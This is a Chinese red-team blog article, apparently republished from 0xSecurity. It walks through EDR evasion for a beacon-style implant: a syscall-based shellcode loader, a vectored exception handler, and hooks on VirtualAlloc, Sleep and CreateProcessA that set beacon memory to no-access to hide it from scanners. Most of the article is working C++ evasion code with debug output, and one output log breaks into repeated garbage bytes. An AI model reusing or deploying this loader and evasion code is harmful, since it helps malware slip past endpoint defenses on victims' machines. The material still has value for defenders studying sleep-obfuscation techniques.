EDR对抗:VEH内存混淆+Hooksleep技术细节

admin 2026-01-30 17:48:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解利用VEH异常处理与APIHook对抗EDR的技术。通过HookSleep和CreateProcessA,在休眠或执行命令时将beacon内存置为NO_ACCESS以隐藏恶意代码,利用VEH在访问时动态恢复执行权限,配合Syscall实现全程内存混淆,有效规避杀软内存扫描。 综合评分: 87 文章分类: 红队,免杀,二进制安全,内网渗透,渗透测试


cover_image

EDR对抗:VEH内存混淆 + Hook sleep技术细节

原创

W W

0xSecurity

2026年1月30日 10:00 广东

HOOK+VEH程序流程细节

1上线阶段——shellcode loader加载beacon

2 beacon写入阶段——再次写入新内存

3 sleep阶段——hook sleep 加密所有内存

4 shell命令执行阶段——hook CreateprocessA 加密beacon内存

VEH异常处理机制

一种报错处理机制,每次报错以后都会去调用VEH异常处理函数,执行完处理函数之后,再重新回到报错的地址再执行一遍

HOOK+VEH

程序大概流程:

HOOK掉beacon的api,在hook函数中加密beacon的内存来规避杀软扫描,然后执行内存触发VEH 报错进入veh报错处理函数中重新解密内存,beacon重新执行

程序流程细节

1上线阶段——shellcode loader加载beacon

首先我们需要加载shellcode来进行上线,避免分配RWX内存,先申请一段可读可写的内存

uSize=fb.size();
syscall_sc[4] =ZwANum;
NtAllocateVirtualMemory= (pNtAllocateVirtualMemory)&syscall_sc;
NTSTATUSstatus=NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
syscall_sc[4] =ZwWNum;
pZwWriteVirtualMemoryZwvirtualWrite= (pZwWriteVirtualMemory)&syscall_sc;
NTSTATUSstatus1=ZwvirtualWrite(GetCurrentProcess(), Address, (PVOID)fb.c_str(), uSize, NULL);

创建线程去执行刚刚那段内存,但是无法执行,这时候就会触发VEH

HANDLEThreadHandle=NULL;
syscall_sc[4] =ZwCNum;
PfnZwCreateThreadExZwCreateT= (PfnZwCreateThreadEx)&syscall_sc;
ZwCreateT(&ThreadHandle, 0x1FFFFFF, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)Address, NULL, FALSE, NULL, NULL, NULL, NULL);
char*baddr= (char*)Address;
for&nbsp;(inti=0;&nbsp;i<uSize;&nbsp;i++) {
&nbsp; &nbsp;&nbsp;baddr[i]&nbsp;=baddr[i]&nbsp;^10^13;
}
syscall_sc[4]&nbsp;=ZwWaitNum;
NTWAITFORSINGLEOBJECTZwWait=&nbsp;(NTWAITFORSINGLEOBJECT)&syscall_sc;
ZwWait(ThreadHandle,&nbsp;true,&nbsp;0);
return0;

跟进到VEH处理函数中,这里设置了一个触发标签MAX=0,MAX此时等于-1,进入第一个if,设置刚刚 shellcode申请的内存为可执行,随后跳出VEH,重复上一跳报错的指令,然后重新加载shellcode

LONGWINAPIVectoredExceptionHandler(PEXCEPTION_POINTERSException) {
&nbsp; &nbsp;&nbsp;if&nbsp;(Exception->ExceptionRecord->ExceptionCode==EXCEPTION_ACCESS_VIOLATION) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int*b=&nbsp;(int*)Address;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LPVOIDnewADDR;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SIZE_TnewSIZE;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;intindex=MAX-1;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("into VEH\n");
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// UnHookssleep64();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Sleep(10000);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Hookssleep64();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(index<0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;syscall_sc[4]&nbsp;=ZwPNum;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ZwvirtualProtect=&nbsp;(pZwProtectVirtualMemory)&syscall_sc;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(),&nbsp;&Address,&nbsp;&uSize,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;&oldprot);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("Address:0x%llx--WRX\n",&nbsp;Address);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(index>=0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(intj=0;&nbsp;j<MAX;&nbsp;j++) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newADDR=&nbsp;(LPVOID)number;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newSIZE=atoi(newBASE_ADDRESS_SIZE[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("SET ADDRESS WRX:0x%llx--%d--index:%d\n",&nbsp;newADDR,&nbsp;newSIZE,&nbsp;j);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NTSTATUSstatus2=ZwvirtualProtect(GetCurrentProcess(),&nbsp;&newADDR,&nbsp;&newSIZE,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;&oldprot);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnEXCEPTION_CONTINUE_EXECUTION;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returnEXCEPTION_CONTINUE_SEARCH;
}

可以看到内存变成了rwx

C选择E:\CODE\1234\64\Debug\1234.ex index:24 ZwAllocateVirtualMemory index:80 ZwProtectVirtualMemory index:58 ZwWriteVirtualMemory index:193 ZwCreateThreadEx index:4 ZwWaitForSingleObject into VEH Address:0x1a04c3e0000--WRX

2 beacon写入阶段——再次写入新内存

随后继续跟进发现,beacon后续还会申请另外的内存,并且经过尝试发现上线最初为加载stageless(shellcode)的那段内存后续不会再用到了,这里我们就hook住VirtualAlloc,抓一下它申请的内存地址

LPVOIDWINAPINewVirtualAlloc(LPVOIDlpAddress,&nbsp;SIZE_TdwSize,&nbsp;DWORDflAllocationType,&nbsp;DWORDflProtect) {
&nbsp; &nbsp;&nbsp;printf("into NewVirtualAlloc!!!\n");
&nbsp; &nbsp;&nbsp;UnHookVirtualA();
&nbsp; &nbsp;&nbsp;syscall_sc[4]&nbsp;=ZwANum;
&nbsp; &nbsp;&nbsp;NtAllocateVirtualMemory=&nbsp;(pNtAllocateVirtualMemory)&syscall_sc;
&nbsp; &nbsp;&nbsp;NTSTATUSstatus=NtAllocateVirtualMemory(GetCurrentProcess(),&nbsp;&lpAddress,&nbsp;0,&nbsp;&dwSize,&nbsp;flAllocationType,&nbsp;flProtect);
&nbsp; &nbsp;&nbsp;newBASE_ADDRESS[MAX]&nbsp;=std::to_string((longlong)lpAddress);
&nbsp; &nbsp;&nbsp;newBASE_ADDRESS_SIZE[MAX]&nbsp;=std::to_string((int)dwSize);
&nbsp; &nbsp;&nbsp;printf("GET NEWADDRESS:0x%llx--%s--index:%d\n",&nbsp;lpAddress,&nbsp;newBASE_ADDRESS_SIZE[MAX].c_str(),&nbsp;MAX);
&nbsp; &nbsp;&nbsp;MAX++;
&nbsp; &nbsp;&nbsp;if&nbsp;(MAX>=2) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;VirtualFree(Address,&nbsp;0,&nbsp;MEM_RELEASE);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;/* syscall_sc[4] = ZwPNum;
&nbsp; &nbsp;&nbsp;ZwvirtualProtect = (pZwProtectVirtualMemory)&syscall_sc;
&nbsp; &nbsp;&nbsp;NTSTATUS status1 = ZwvirtualProtect(GetCurrentProcess(), &lpAddress, &dwSize, PAGE_NOACCESS, &oldprot); */
&nbsp; &nbsp;&nbsp;for&nbsp;(intj=0;&nbsp;j<MAX;&nbsp;j++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;intfanwei=atoi(newBASE_ADDRESS_SIZE[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LPVOIDNUM=&nbsp;(LPVOID)number;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SIZE_TFANWEI=&nbsp;(SIZE_T)fanwei;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number,&nbsp;fanwei);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;syscall_sc[4]&nbsp;=ZwPNum;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ZwvirtualProtect=&nbsp;(pZwProtectVirtualMemory)&syscall_sc;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(),&nbsp;&NUM,&nbsp;&FANWEI,&nbsp;PAGE_NOACCESS,&nbsp;&oldprot);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returnlpAddress;
}

可以看到申请的新的地址,并且已经设置成了无法访问的权限

into NewVirtualA11oc!!!
GET NEWADDRESS:0x1a04c430000--4661248--index:0
SET ADDRESS NOACCESS:0x1a04c430000--4661248

可以看到是无法访问的

beacon执行刚刚申请的那段内存,无法访问后触发veh再次进入veh函数中,重新执行以后,发现再一次申请了一段新的内存,然后重新遍历存地址的数组,分别给新申请的内存设置成no_access权限

总计就是两段新的内存已经申请完毕,然后beacon再次去执行新内存(0x1a04cb60000),再次触发veh重新执行成功,后续就没有再进行内存申请了

3 sleep阶段——hook sleep 加密所有内存

实际每次beacon执行(代码运行)的时间特别短,然后beacon在sleep的时候时间,正常情况这些内存都是可以被看到的,所以我们在sleep的时候就该把所有内存设置成不可访问,或者加密-藏起来,可以看到刚刚beacon占用的内存就是刚申请的两段,shellcode 的那段272kb的内存已经释放掉了。

VOIDWINAPINewSleep(DWORDdwMillisecond) {
&nbsp; &nbsp;&nbsp;char*baddr=&nbsp;(char*)Address;
&nbsp; &nbsp;&nbsp;ULONGoldprot=NULL;
&nbsp; &nbsp;&nbsp;printf("Sleep:%d\n",&nbsp;dwMillisecond);
&nbsp; &nbsp;&nbsp;printf("0x%llx\n",&nbsp;Address);

&nbsp; &nbsp;&nbsp;for&nbsp;(intj=0;&nbsp;j<MAX;&nbsp;j++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;longlongnumber=atoll(newBASE_ADDRESS[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;intfanwei=atoi(newBASE_ADDRESS_SIZE[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LPVOIDNUM=&nbsp;(LPVOID)number;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SIZE_TFANWEI=&nbsp;(SIZE_T)fanwei;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number,&nbsp;fanwei);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;syscall_sc[4]&nbsp;=ZwPNum;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ZwvirtualProtect=&nbsp;(pZwProtectVirtualMemory)&syscall_sc;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;NTSTATUSstatus1=ZwvirtualProtect(GetCurrentProcess(),&nbsp;&NUM,&nbsp;&FANWEI,&nbsp;PAGE_NOACCESS,&nbsp;&oldprot);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;UnHookssleep64();
&nbsp; &nbsp;&nbsp;Sleep(dwMillisecond);
&nbsp; &nbsp;&nbsp;Hooksleep64();
}

E:\CODE\1234\64\Debug\1234.exe

index:80 ZwProtectVirtualMemory
index:58 ZwWriteVirtualMemory
index:193 ZwCreateThreadEx
index:4 ZwWaitForSingleObject
into VEH
Address:0x18d3090000--WRX
into NewVirtualAlloc!!!
GET NEWADDRESS:0x18d30950000--4661248--index:0
SET ADDRESS NOACCESS:0x18d30950000--4661248
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
into NewVirtualAlloc!!!
GET NEWADDRESS:0x18d31050000--8192--index:1
SET ADDRESS NOACCESS:0x18d30950000--4661248
SET ADDRESS NOACCESS:0x18d31050000--8192
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
SET ADDRESS WRX:0x18d31050000--8192--index:1
Sleep:2722
0x18d30900000
SET ADDRESS NOACCESS:0x18d30950000--4661248
SET ADDRESS NOACCESS:0x18d31050000--8192
into VEH
SET ADDRESS WRX:0x18d30950000--4661248--index:0
SET ADDRESS WRX:0x18d31D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D5D

4 shell命令执行阶段——hook CreateprocessA 加密beacon内存

实际beacon中每次执行shell命令的时候,实际调用的都是这个CreateprocessA的api来起一个cmd进程,执行我们的命令,这时候杀软都会开始扫描内存,我们就需要对我们的beacon内存做一个加密HOOk住CreateprocessA,创建结构体,接收beacon传进来的参数,新建一个线程去执行cmd

VOID WINAPI HookCreateprocessA(
&nbsp; &nbsp; LPCSTR lpApplicationName,
&nbsp; &nbsp; LPSTR lpCommandLine,
&nbsp; &nbsp; LPSECURITY_ATTRIBUTES lpProcessAttributes,
&nbsp; &nbsp; LPSECURITY_ATTRIBUTES lpThreadAttributes,
&nbsp; &nbsp; BOOL bInheritHandles,
&nbsp; &nbsp; DWORD dwCreationFlags,
&nbsp; &nbsp; LPVOID lpEnvironment,
&nbsp; &nbsp; LPCSTR lpCurrentDirectory,
&nbsp; &nbsp; LPSTARTUPINFOA lpStartupInfo,
&nbsp; &nbsp; LPPROCESS_INFORMATION lpProcessInformation) {
&nbsp; &nbsp; printf("Into HookCreateprocessA\n");
&nbsp; &nbsp; PPROCESS_OPTIONS* Poptions = (PPROCESS_OPTIONS*)malloc(sizeof(PPROCESS_OPTIONS));
&nbsp; &nbsp; Poptions->lpApplicationName = lpApplicationName;
&nbsp; &nbsp; Poptions->lpCommandLine = lpCommandLine;
&nbsp; &nbsp; Poptions->lpProcessAttributes = lpProcessAttributes;
&nbsp; &nbsp; Poptions->lpThreadAttributes = lpThreadAttributes;
&nbsp; &nbsp; Poptions->bInheritHandles = bInheritHandles;
&nbsp; &nbsp; Poptions->dwCreationFlags = dwCreationFlags;
&nbsp; &nbsp; Poptions->lpEnvironment = lpEnvironment;
&nbsp; &nbsp; Poptions->lpCurrentDirectory = lpCurrentDirectory;
&nbsp; &nbsp; Poptions->lpStartupInfo = lpStartupInfo;
&nbsp; &nbsp; Poptions->lpProcessInformation = lpProcessInformation;
&nbsp; &nbsp; HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)newThreadMemEncode, Poptions, 0, NULL);
&nbsp; &nbsp; WaitForSingleObject(thread, INFINITE);
&nbsp; &nbsp; CloseHandle(thread);
}

创建线程执行的这个函数,首先要挂起beacon的线程,防止报错出问题,然后设置那两段内存的权限为no_access,单独去重新执行创建cmd命令的操作,这时候我们的程序调用CreateProcessA肯定是会触发杀软扫描的,我们就sleep等他扫,扫完以后恢复线程返回cmd的结果

void newThreadMemEncode(PPROCESS_OPTIONS* APOptions) {
&nbsp; &nbsp; char* badr = (char*)Address;
&nbsp; &nbsp; SuspendThread(hThread);
&nbsp; &nbsp; printf("SuspendThread!\n");
&nbsp; &nbsp; UnHookCreateP64();
&nbsp; &nbsp; UnHookssleep64();
&nbsp; &nbsp; for (int j = 0; j < MAX; j++) {
&nbsp; &nbsp; &nbsp; &nbsp; long long number = atoll(newBASE_ADDRESS[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp; int fanwei = atoi(newBASE_ADDRESS_SIZE[j].c_str());
&nbsp; &nbsp; &nbsp; &nbsp; LPVOID NUM = (LPVOID)number;
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T FANWEI = (SIZE_T)fanwei;
&nbsp; &nbsp; &nbsp; &nbsp; printf("SET ADDRESS NOACCESS:0x%llx--%d\n", (LPVOID)number, fanwei);
&nbsp; &nbsp; &nbsp; &nbsp; syscall_sc[4] = ZwPNum;
&nbsp; &nbsp; &nbsp; &nbsp; ZwvirtualProtect = (pZwProtectVirtualMemory)&syscall_sc;
&nbsp; &nbsp; &nbsp; &nbsp; NTSTATUS status1 = ZwvirtualProtect(GetCurrentProcess(), &NUM, &FANWEI, PAGE_NOACCESS, &oldprot);
&nbsp; &nbsp; }
&nbsp; &nbsp; printf("encode\n");
&nbsp; &nbsp; CreateProcessA(APOptions->lpApplicationName, APOptions->lpCommandLine, APOptions->lpProcessAttributes, APOptions->lpThreadAttributes, APOptions->bInheritHandles, APOptions->dwCreationFlags, APOptions->lpEnvironment, APOptions->lpCurrentDirectory, APOptions->lpStartupInfo, APOptions->lpProcessInformation);
&nbsp; &nbsp; printf("%d\n", GetLastError());
&nbsp; &nbsp; printf("CreateProcessA Success!\n");
&nbsp; &nbsp; Sleep(10000);
&nbsp; &nbsp; printf("decode\n");
&nbsp; &nbsp; HookCreateP64();
&nbsp; &nbsp; Hooksleep64();
&nbsp; &nbsp; ResumeThread(hThread);
&nbsp; &nbsp; printf("ResumeThread!\n");
}

可以看到hook的时候取到beacon输入的参数:whoami

取到结果


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:0xSecurity W W《EDR对抗:VEH内存混淆 + Hook sleep技术细节》

评论:0   参与:  0